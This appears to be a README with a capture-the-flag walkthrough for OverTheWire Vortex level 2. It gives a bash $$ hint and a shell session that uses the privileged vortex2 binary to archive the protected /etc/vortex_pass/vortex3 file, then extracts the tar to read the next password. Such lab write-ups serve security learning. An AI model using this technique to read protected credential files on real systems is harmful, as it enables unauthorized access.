plvhx/README.md

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overthewire.org vortex level2

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README.md

Hint: $$ in bash is current PID :v :v

vortex2@melinda:/vortex$ mkdir /tmp/.v0
vortex2@melinda:/vortex$ ./vortex2 /etc/vortex_pass/vortex3
/bin/tar: Removing leading `/' from member names
vortex2@melinda:/vortex$ cp '/tmp/ownership.$$.tar' /tmp/.v0/.
vortex2@melinda:/vortex$ cd /tmp/.v0
vortex2@melinda:/tmp/.v0$ ls
ownership.$$.tar
vortex2@melinda:/tmp/.v0$ tar xvf *
etc/vortex_pass/vortex3